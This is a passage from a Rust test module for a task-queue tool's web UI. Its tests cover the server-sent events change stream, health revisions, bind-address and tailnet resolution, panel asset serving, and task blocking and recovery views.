22918                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22919            ),
22920            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22921             the recursive renderQueue() call has nothing left to reveal"
22922        );
22923        assert!(
22924            APP_JS.contains(
22925                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22926            ),
22927            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22928        );
22929        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22930        // task-focus form of the hash - a plain `#queue` navigation only
22931        // flips which view is visible. openQueueSectionFocus() must
22932        // therefore call renderQueue() itself, and applyRoute() too so the
22933        // view flips even when the hash doesn't change (the Backlog may
22934        // already be open when a tile is tapped, firing no hashchange
22935        // event at all).
22936        assert!(
22937            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22938            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22939             hashchange event that may never fire"
22940        );
22941    }
22942
22943    #[tokio::test]
22944    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22945        let f = Fixture::start().await;
22946
22947        let mut socket = tokio::net::TcpStream::connect(f.addr)
22948            .await
22949            .expect("connect");
22950        socket
22951            .write_all(
22952                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22953            )
22954            .await
22955            .expect("write request");
22956
22957        // Read until the first event arrives rather than to end of stream: the
22958        // stream is endless by design, which is the point of the route.
22959        let mut seen = String::new();
22960        let mut buf = [0u8; 1024];
22961        while !seen.contains("event: change") {
22962            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22963                .await
22964                .expect("the stream must speak within five seconds")
22965                .expect("read");
22966            assert!(read > 0, "the server closed the change stream: {seen}");
22967            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22968        }
22969
22970        assert!(
22971            seen.to_lowercase()
22972                .contains("content-type: text/event-stream"),
22973            "the browser only reconnects automatically for a real SSE stream: {seen}"
22974        );
22975        let data = seen
22976            .lines()
22977            .find_map(|l| l.strip_prefix("data:"))
22978            .expect("a data line");
22979        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22980        assert!(
22981            payload["queue_rev"].is_u64()
22982                && payload["runs_rev"].is_u64()
22983                && payload["questions_rev"].is_u64()
22984                && payload["talks_rev"].is_u64()
22985                && payload["notifications_rev"].is_u64()
22986                && payload["loop_rev"].is_u64(),
22987            "the client needs one revision per store to know what to refetch, \
22988             and `talks_rev` is the only notification a standing talk gets - a \
22989             phone whose radio slept through a turn learns about it here, as \
22990             does one whose operator started the loop from another device: \
22991             {payload}"
22992        );
22993
22994        // The front end re-polls health on a timer and on wake, and takes the
22995        // revisions from that answer whenever the stream is not up. So health
22996        // has to carry every key the stream carries: a phone on a link that
22997        // will not hold an SSE connection is exactly the phone that must still
22998        // notice a question, and a missing key there is not a 500 but a UI
22999        // that quietly stops updating.
23000        let health = f.get("/api/health").await.json();
23001        for key in [
23002            "queue_rev",
23003            "runs_rev",
23004            "questions_rev",
23005            "talks_rev",
23006            "notifications_rev",
23007            "loop_rev",
23008        ] {
23009            assert!(
23010                health[key].is_u64(),
23011                "health is the change stream's fallback and is missing `{key}`: {health}"
23012            );
23013        }
23014    }
23015
23016    #[tokio::test]
23017    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
23018        let home = TempDir::new().expect("temp home");
23019        let ui = delta_test_ui(home.path());
23020        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
23021        // Establish the existing conversation's baseline before appending.
23022        // Wait on the stream's shared notification rather than repeatedly
23023        // rebuilding health (config, process and disk observations included).
23024        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
23025        let mut changes = ui.monitor.broadcaster.subscribe();
23026        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
23027        on_disk.turns.push(crate::talk::Turn {
23028            sender: None,
23029            breaks: Some(Vec::new()),
23030            messages: Vec::new(),
23031            posted_by: None,
23032            who: crate::talk::Who::Operator,
23033            body: "a new turn".to_owned(),
23034            at: Timestamp::now(),
23035            attachments: Vec::new(),
23036            usage: None,
23037        });
23038        ui.talks.put(&mut on_disk).expect("record a turn");
23039
23040        let after = tokio::time::timeout(Duration::from_secs(5), async {
23041            loop {
23042                let change = changes.recv().await.expect("monitor notification");
23043                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
23044                if revision != before {
23045                    assert_eq!(
23046                        change.payload["talks_delta"]["changed"],
23047                        serde_json::json!([talk])
23048                    );
23049                    break revision;
23050                }
23051            }
23052        })
23053        .await
23054        .expect("shared monitor observes external turn");
23055        assert_ne!(
23056            before, after,
23057            "a phone must be able to notice a talk's reply without polling every store"
23058        );
23059        let Json(observed) = health(State(ui)).await.expect("health");
23060        assert_eq!(
23061            observed.talks_rev, after,
23062            "health exposes the same revision"
23063        );
23064    }
23065
23066    #[test]
23067    fn bind_reads_back_from_the_spelling_the_cli_prints() {
23068        // The CLI shows the default in `--help` and parses whatever comes
23069        // back, so the two directions have to agree or `--bind auto` breaks
23070        // the moment someone copies the help text.
23071        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23072            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23073        }
23074        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23075        assert!("everywhere".parse::<Bind>().is_err());
23076    }
23077
23078    #[test]
23079    fn an_explicit_bind_address_is_taken_verbatim() {
23080        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23081
23082        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23083
23084        assert_eq!(addr, asked);
23085        assert!(
23086            warning.is_none(),
23087            "an operator who named an address gets no lecture"
23088        );
23089    }
23090
23091    #[test]
23092    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23093        let (addr, warning) = resolve_bind(&Bind::Auto);
23094
23095        // This has to hold on a CI runner with no `tailscale` and on a dev box
23096        // with one, so the invariant asserted is the one shared by both
23097        // outcomes: the address is either a real tailnet address offered
23098        // without comment, or loopback with an explanation. What must never
23099        // happen is a silent fallback - an operator told "listening on
23100        // 127.0.0.1" with no reason would go looking for a firewall.
23101        match addr {
23102            IpAddr::V4(ip) if is_tailnet(&ip) => {
23103                assert!(warning.is_none(), "a tailnet address needs no warning");
23104            }
23105            other => {
23106                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23107                let warning = warning.expect("a fallback has to explain itself");
23108                assert!(
23109                    warning.contains("127.0.0.1") && warning.contains("local-only"),
23110                    "the warning says what happened and what it costs: {warning}"
23111                );
23112            }
23113        }
23114    }
23115
23116    #[test]
23117    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23118        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
23119        // boundary cases are what stop us binding to some other tool's idea of
23120        // an address.
23121        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23122        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23123        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23124        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23125        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23126    }
23127
23128    #[test]
23129    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23130        let ids = vec![
23131            "20260902-140501-aaaa".to_owned(),
23132            "20260902-140502-aabb".to_owned(),
23133        ];
23134
23135        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23136        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23137        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23138
23139        assert_eq!(missing.status, StatusCode::NOT_FOUND);
23140        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23141        assert_eq!(short, "20260902-140502-aabb");
23142    }
23143    #[tokio::test]
23144    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23145        // The prompt tells agents to reference attachments by bare filename.
23146        // A document served at `.../panel` resolves `shot.png` against its own
23147        // directory, i.e. `.../shot.png`, which is not the asset route - so a
23148        // panel written exactly as instructed showed broken images. Caught by
23149        // looking at a real one in a browser, not by reading the code.
23150        let fx = Fixture::start().await;
23151        let id = panel(
23152            &fx,
23153            "<img src=\"shot.png\">",
23154            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23155        );
23156
23157        // The frame's own URL ends in a filename, so its siblings are reachable.
23158        let doc = fx
23159            .get(&format!("/api/questions/{id}/panel/index.html"))
23160            .await;
23161        assert_eq!(doc.status, 200, "{}", doc.body);
23162        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23163
23164        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23165        assert_eq!(sibling.status, 200, "{}", sibling.body);
23166        assert_eq!(sibling.header("content-type"), Some("image/png"));
23167        assert_eq!(
23168            sibling.header("content-security-policy"),
23169            Some(PANEL_CSP),
23170            "the sibling route must carry the same policy as the asset route"
23171        );
23172
23173        // The original spelling keeps working: HEAD on it is how the front end
23174        // decides whether to mount a frame at all.
23175        assert_eq!(
23176            fx.head(&format!("/api/questions/{id}/panel")).await.status,
23177            200
23178        );
23179    }
23180
23181    #[test]
23182    fn delta_stamps_cover_add_update_remove_and_noop() {
23183        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23184        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23185        let delta = diff_stamps(&before, &after, 42);
23186        assert_eq!(delta.base, 42);
23187        assert_eq!(delta.changed, ["b", "c"]);
23188        assert_eq!(delta.removed, ["a"]);
23189        let same = diff_stamps(&after, &after, 43);
23190        assert!(same.changed.is_empty() && same.removed.is_empty());
23191        assert_ne!(stamps_revision(&before), stamps_revision(&after));
23192        let nanos: Stamps = [("b".into(), (2, 20))].into();
23193        let same_ms: Stamps = [("b".into(), (3, 20))].into();
23194        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23195        assert_eq!(stamps_revision(&Stamps::new()), 0);
23196    }
23197
23198    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23199        std::fs::create_dir_all(home.join("runs")).unwrap();
23200        Arc::new(
23201            Ui::new(
23202                Queue::at(home.join("queue")),
23203                Questions::at(home.join("questions")),
23204                Talks::at(home.join("talks")),
23205                home.join("runs"),
23206                home.to_owned(),
23207                PathBuf::from("/repo/magi"),
23208            )
23209            .with_worktrees_root(home.join("wt")),
23210        )
23211    }
23212
23213    #[test]
23214    fn monitor_scan_isolates_store_failures_and_recovers() {
23215        let home = TempDir::new().unwrap();
23216        let ui = delta_test_ui(home.path());
23217        std::fs::create_dir_all(ui.questions.root()).unwrap();
23218        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23219        let before = monitor_scan(&ui, None);
23220        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23221        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23222        std::fs::create_dir_all(ui.talks.root()).unwrap();
23223        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23224        let during = monitor_scan(&ui, Some(before.clone()));
23225        assert_eq!(during.0.2, before.0.2);
23226        assert_ne!(during.0.3, before.0.3);
23227        assert!(during.1[2].contains_key("new"));
23228        std::fs::remove_file(ui.questions.root()).unwrap();
23229        let after = monitor_scan(&ui, Some(during));
23230        assert_eq!(after.0.2, 0);
23231        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23232        // A failed first scan also permits healthy stores to publish.
23233        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23234        assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23235    }
23236
23237    #[test]
23238    fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23239        let home = TempDir::new().unwrap();
23240        let ui = delta_test_ui(home.path());
23241        let root = ui.queue.root();
23242        std::fs::create_dir_all(root).unwrap();
23243        let before = monitor_scan(&ui, None);
23244        *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23245        let status = || {
23246            chat_inventory(&ui)
23247                .status_of("chat", true, crate::chat_status::Goals::default(), false)
23248                .kind
23249        };
23250        assert_eq!(status(), crate::chat_status::Kind::Idle);
23251        std::fs::remove_dir(root).unwrap();
23252        std::fs::write(root, "not a directory").unwrap();
23253        let failed = monitor_scan(&ui, Some(before.clone()));
23254        assert_ne!(failed.0.3, before.0.3);
23255        *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23256        assert_eq!(status(), crate::chat_status::Kind::Unknown);
23257        std::fs::remove_file(root).unwrap();
23258        std::fs::create_dir(root).unwrap();
23259        let recovered = monitor_scan(&ui, Some(failed));
23260        *ui.monitor.latest.lock().unwrap() = Some(recovered);
23261        assert_eq!(status(), crate::chat_status::Kind::Idle);
23262    }
23263
23264    #[tokio::test]
23265    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23266        let home = TempDir::new().unwrap();
23267        let ui = delta_test_ui(home.path());
23268        let mut task = Task::new(
23269            "stream task".into(),
23270            "text".into(),
23271            PathBuf::from("/repo"),
23272            Source::Human,
23273        );
23274        ui.queue.put(&mut task).unwrap();
23275        let response = events(State(ui.clone())).await.into_response();
23276        let mut stream = response.into_body().into_data_stream();
23277        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23278            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23279                .await
23280                .unwrap()
23281                .unwrap()
23282                .unwrap();
23283            let text = String::from_utf8(chunk.to_vec()).unwrap();
23284            let data = text
23285                .lines()
23286                .find_map(|line| {
23287                    line.strip_prefix("data: ")
23288                        .or_else(|| line.strip_prefix("data:"))
23289                })
23290                .unwrap();
23291            serde_json::from_str(data).unwrap()
23292        }
23293        let initial = change(&mut stream).await;
23294        assert!(initial.get("queue_delta").is_none());
23295        task.instruction.push_str(" changed");
23296        ui.queue.put(&mut task).unwrap();
23297        let updated = change(&mut stream).await;
23298        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23299        assert_eq!(
23300            updated["queue_delta"]["changed"],
23301            serde_json::json!([task.id])
23302        );
23303        assert_eq!(
23304            updated["queue_rev"].as_u64(),
23305            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23306        );
23307        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23308        let removed = change(&mut stream).await;
23309        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23310        assert_eq!(
23311            removed["queue_delta"]["removed"],
23312            serde_json::json!([task.id])
23313        );
23314    }
23315
23316    #[tokio::test]
23317    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23318        let home = TempDir::new().unwrap();
23319        let ui = delta_test_ui(home.path());
23320        let queue = ui.queue.clone();
23321        let query = |ids: Option<&str>| {
23322            Query(ListQuery {
23323                limit: Some(2),
23324                ids: ids.map(str::to_owned),
23325            })
23326        };
23327        let mut root = Task::new(
23328            "root".into(),
23329            "instruction".into(),
23330            PathBuf::from("/repo"),
23331            Source::Human,
23332        );
23333        queue.put(&mut root).unwrap();
23334        let mut blocked = Task::new(
23335            "blocked".into(),
23336            "instruction".into(),
23337            PathBuf::from("/repo"),
23338            Source::Human,
23339        );
23340        blocked.block(vec![root.id.clone()], None);
23341        queue.put(&mut blocked).unwrap();
23342        let whole =
23343            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23344                .unwrap();
23345        let subset = serde_json::to_value(
23346            queue_list(State(ui.clone()), query(Some(&root.id)))
23347                .await
23348                .unwrap()
23349                .0,
23350        )
23351        .unwrap();
23352        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23353        let blockers = serde_json::to_value(
23354            queue_list(State(ui.clone()), query(Some("")))
23355                .await
23356                .unwrap()
23357                .0,
23358        )
23359        .unwrap();
23360        assert_eq!(blockers.as_array().unwrap().len(), 1);
23361        assert_eq!(blockers[0]["id"], blocked.id);
23362        assert_eq!(
23363            blockers[0]["waits_on"],
23364            whole
23365                .as_array()
23366                .unwrap()
23367                .iter()
23368                .find(|row| row["id"] == blocked.id)
23369                .unwrap()["waits_on"]
23370        );
23371
23372        for id in [
23373            "20260902-140501-aaaa",
23374            "20260902-140502-bbbb",
23375            "20260902-140503-cccc",
23376        ] {
23377            write_run(&ui.runs, id, RunStatus::Merged);
23378        }
23379        let old = serde_json::to_value(
23380            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23381                .await
23382                .unwrap()
23383                .0,
23384        )
23385        .unwrap();
23386        assert!(
23387            old.as_array().unwrap().is_empty(),
23388            "older updates must not enter the window"
23389        );
23390        let newest = serde_json::to_value(
23391            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23392                .await
23393                .unwrap()
23394                .0,
23395        )
23396        .unwrap();
23397        assert_eq!(newest.as_array().unwrap().len(), 1);
23398        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23399
23400        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23401        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23402        let talks = serde_json::to_value(
23403            talks_list(
23404                State(ui.clone()),
23405                query(Some("20260905-000000-d4e5")),
23406                header::HeaderMap::new(),
23407            )
23408            .await
23409            .unwrap()
23410            .0,
23411        )
23412        .unwrap();
23413        assert_eq!(talks.as_array().unwrap().len(), 1);
23414        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23415        assert_eq!(
23416            serde_json::to_value(
23417                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23418                    .await
23419                    .unwrap()
23420                    .0
23421            )
23422            .unwrap(),
23423            serde_json::json!([])
23424        );
23425    }
23426
23427    #[tokio::test]
23428    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23429    async fn delta_payload_benchmark() {
23430        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23431        let ui = delta_test_ui(&home);
23432        let query = |ids: Option<String>| {
23433            Query(ListQuery {
23434                limit: Some(50),
23435                ids,
23436            })
23437        };
23438        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23439        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23440        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23441            .await
23442            .unwrap()
23443            .0;
23444        let queue_id = queue
23445            .iter()
23446            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23447            .unwrap_or(&queue[0])
23448            .task
23449            .id
23450            .clone();
23451        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23452            .await
23453            .unwrap()
23454            .0;
23455        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23456            .await
23457            .unwrap()
23458            .0;
23459        let talks_delta = talks_list(
23460            State(ui.clone()),
23461            query(Some(talks[0].id.clone())),
23462            header::HeaderMap::new(),
23463        )
23464        .await
23465        .unwrap()
23466        .0;
23467        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23468        eprintln!(
23469            "DELTA_PAYLOAD {}",
23470            serde_json::json!({
23471                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23472                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23473                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23474                "counts": [queue.len(), runs.len(), talks.len()],
23475                "blocked": queue_delta.len() - 1,
23476            })
23477        );
23478    }
23479
23480    #[test]
23481    fn runs_revision_moves_when_deleting_an_older_run() {
23482        let temp = TempDir::new().expect("tempdir");
23483        let runs = temp.path().join("runs");
23484        std::fs::create_dir_all(&runs).expect("create runs dir");
23485
23486        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23487
23488        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23489        std::thread::sleep(Duration::from_millis(10));
23490        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23491
23492        let rev_before = runs_revision(&runs);
23493        assert!(rev_before > 0);
23494
23495        let old_dir = runs.join("20260901-100000-old1");
23496        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23497
23498        let rev_after = runs_revision(&runs);
23499        assert_ne!(
23500            rev_before, rev_after,
23501            "deleting an older run must change the revision so other clients see the deletion"
23502        );
23503    }
23504
23505    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23506    /// process-global home entirely — `RunState::save` writes through
23507    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23508    /// (see `tests::home_lock` in the integration suite for why).
23509    fn write_state(runs: &FsPath, state: &RunState) {
23510        let dir = runs.join(&state.id);
23511        std::fs::create_dir_all(&dir).expect("run dir");
23512        std::fs::write(
23513            dir.join("run.json"),
23514            serde_json::to_string_pretty(state).expect("serialize run"),
23515        )
23516        .expect("write run.json");
23517    }
23518
23519    /// A seat starting or finishing is a write to `run.json` like any other,
23520    /// so it moves the same revision the change stream already watches —
23521    /// nothing new for `/api/events` to learn, but the property this feature
23522    /// depends on to reach the phone without a poll.
23523    #[test]
23524    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23525        let temp = TempDir::new().expect("tempdir");
23526        let runs = temp.path().join("runs");
23527        std::fs::create_dir_all(&runs).expect("create runs dir");
23528        let mut state = RunState::new(
23529            PathBuf::from("/repo/magi"),
23530            "main".to_owned(),
23531            "0123456789abcdef".to_owned(),
23532            "task".to_owned(),
23533            Config::default(),
23534        );
23535        state.id = "20260902-100000-c0de".to_owned();
23536        write_state(&runs, &state);
23537
23538        let rev_idle = runs_revision(&runs);
23539        std::thread::sleep(Duration::from_millis(10));
23540        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23541        write_state(&runs, &state);
23542        let rev_started = runs_revision(&runs);
23543        assert_ne!(
23544            rev_idle, rev_started,
23545            "a seat starting must move the revision"
23546        );
23547
23548        std::thread::sleep(Duration::from_millis(10));
23549        state.seat_finished("judge-1");
23550        write_state(&runs, &state);
23551        let rev_finished = runs_revision(&runs);
23552        assert_ne!(
23553            rev_started, rev_finished,
23554            "and clearing it again must move the revision a second time"
23555        );
23556    }
23557
23558    #[tokio::test]
23559    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23560        // `TaskView` flattens `Task`, so this is really asserting that
23561        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23562        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23563        // never touched web.rs, so nothing here caught it if it had.
23564        let fx = Fixture::start().await;
23565        let q = fx.queue();
23566
23567        let mut t = Task::new(
23568            "Task".to_owned(),
23569            "Instruction".to_owned(),
23570            PathBuf::from("/repo"),
23571            Source::Human,
23572        );
23573        t.block(
23574            vec!["20260101-000000-dead".to_owned()],
23575            Some("waiting on Task 1".to_owned()),
23576        );
23577        t.answers.push(crate::queue::AnsweredQuestion {
23578            question: "Which backend?".to_owned(),
23579            answer: "SQLite".to_owned(),
23580        });
23581        q.put(&mut t).expect("put t");
23582
23583        let res = fx.get("/api/queue").await;
23584        assert_eq!(res.status, 200);
23585        let list = res.json();
23586        let view = list
23587            .as_array()
23588            .expect("array")
23589            .iter()
23590            .find(|v| v["id"] == t.id)
23591            .expect("task in list");
23592        assert_eq!(view["status_str"], "blocked");
23593        assert_eq!(
23594            view["blocked_by"],
23595            serde_json::json!(["20260101-000000-dead"])
23596        );
23597        assert_eq!(view["block_reason"], "waiting on Task 1");
23598        assert_eq!(view["answers"][0]["question"], "Which backend?");
23599        assert_eq!(view["answers"][0]["answer"], "SQLite");
23600
23601        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23602        // but never `answers` - that is a settled decision, not state
23603        // describing the current block, so it survives.
23604        let res = fx
23605            .post(&format!("/api/queue/{}/hold", t.short()), None)
23606            .await;
23607        assert_eq!(res.status, 200);
23608        let held = res.json();
23609        assert_eq!(held["status_str"], "held");
23610        assert_eq!(held["blocked_by"], serde_json::json!([]));
23611        assert!(held["block_reason"].is_null());
23612        assert_eq!(held["answers"][0]["answer"], "SQLite");
23613    }
23614
23615    #[tokio::test]
23616    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23617        let fx = Fixture::start().await;
23618        let queue = fx.queue();
23619        let questions = fx.questions();
23620        let mut task = Task::new(
23621            "Disk recovery".into(),
23622            "Inspect".into(),
23623            PathBuf::from("/repo"),
23624            Source::Human,
23625        );
23626        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23627        task.mark_disk_capacity();
23628        queue.put(&mut task).unwrap();
23629        let mut records = Vec::new();
23630        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23631            let mut q = Question::new(
23632                task.id.clone(),
23633                node.into(),
23634                "triage".into(),
23635                "Resume recovery?".into(),
23636                String::new(),
23637                vec![],
23638            );
23639            q.routed_task = Some(task.id.clone());
23640            questions.put(&mut q).unwrap();
23641            records.push(q);
23642        }
23643        let url = format!("/api/queue/{}", task.id);
23644        let view = fx.get(&url).await.json();
23645        assert_eq!(view["status_str"], "held");
23646        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23647        assert!(
23648            view["recovery"]
23649                .as_str()
23650                .unwrap()
23651                .contains("Disk recovery alone will not resume")
23652        );
23653        assert!(
23654            view["recovery"]
23655                .as_str()
23656                .unwrap()
23657                .contains("Disk wait (automatically monitored)")
23658        );
23659        for blocker in view["blockers"].as_array().unwrap() {
23660            assert!(blocker["destination"].is_null());
23661            assert!(
23662                blocker["next"]
23663                    .as_str()
23664                    .unwrap()
23665                    .contains("pending delivery")
23666            );
23667        }
23668        for q in &mut records {
23669            q.routed_chat = Some("owning-chat".into());
23670            questions.put(q).unwrap();
23671        }
23672        let view = fx.get(&url).await.json();
23673        for blocker in view["blockers"].as_array().unwrap() {
23674            assert_eq!(
23675                blocker["destination"],
23676                serde_json::json!(["chat", "owning-chat"])
23677            );
23678            assert_eq!(blocker["resolves_itself"], false);
23679        }
23680        // Answered routed decisions can still be awaiting task-chat application.
23681        for q in &mut records {
23682            q.status = ask::QuestionStatus::Answered;
23683            questions.put(q).unwrap();
23684        }
23685        assert!(crate::triage::pending_for(&questions, &task));
23686        let view = fx.get(&url).await.json();
23687        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23688        assert!(
23689            view["blockers"][0]["next"]
23690                .as_str()
23691                .unwrap()
23692                .contains("not yet applied")
23693        );
23694        for q in &records {
23695            task.mark_triage_applied(&q.id);
23696        }
23697        queue.put(&mut task).unwrap();
23698        assert!(!crate::triage::pending_for(&questions, &task));
23699        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23700        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23701    }
23702
23703    #[test]
23704    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23705        use crate::queue::HoldSource;
23706        let mut task = Task::new(
23707            "Recovery".into(),
23708            "Inspect".into(),
23709            PathBuf::from("/repo"),
23710            Source::Human,
23711        );
23712        assert!(task_recovery(&task).is_none());
23713        task.hold_manual(Some("Operator paused".into()));
23714        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23715        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23716        let text = task_recovery(&task).unwrap();
23717        assert!(text.contains("restores held"));
23718        assert!(text.contains("clears its dependency references"));
23719        task.hold_source = Some(HoldSource::Machine);
23720        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23721        task.mark_disk_capacity();
23722        let view = TaskView::with_inventory(
23723            task.clone(),
23724            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23725        );
23726        let json = serde_json::to_value(view).unwrap();
23727        assert_eq!(json["block_reason"], "Decision needed");
23728        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23729        let recovery = json["recovery"].as_str().unwrap();
23730        assert!(recovery.contains("not current capacity"));
23731        assert!(recovery.contains("triage rechecks"));
23732        assert_eq!(json["blockers"][0]["state"], "missing");
23733        task.blocked_from = Some(TaskStatus::Queued);
23734        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23735        task.blocked_from = None;
23736        assert!(task_recovery(&task).unwrap().contains("restores held"));
23737    }
23738
23739    #[tokio::test]
23740    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23741        let fx = Fixture::start().await;
23742        let q = fx.queue();
23743        let mk = |title: &str| {
23744            Task::new(
23745                title.to_owned(),
23746                "Instruction".to_owned(),
23747                PathBuf::from("/repo"),
23748                Source::Human,
23749            )
23750        };
23751        let mut root = mk("root");
23752        root.hold_manual(Some("waiting".to_owned()));
23753        q.put(&mut root).unwrap();
23754        let mut mid = mk("mid");
23755        mid.block(vec![root.id.clone()], None);
23756        q.put(&mut mid).unwrap();
23757        let mut leaf = mk("leaf");
23758        leaf.block(vec![mid.id.clone()], None);
23759        q.put(&mut leaf).unwrap();
23760
23761        let list = fx.get("/api/queue").await.json();
23762        let find = |id: &str| {
23763            list.as_array()
23764                .unwrap()
23765                .iter()
23766                .find(|v| v["id"] == id)
23767                .unwrap()
23768                .clone()
23769        };
23770        let leaf_view = find(&leaf.id);
23771        assert_eq!(
23772            leaf_view["waits_on"],
23773            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23774        );
23775        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
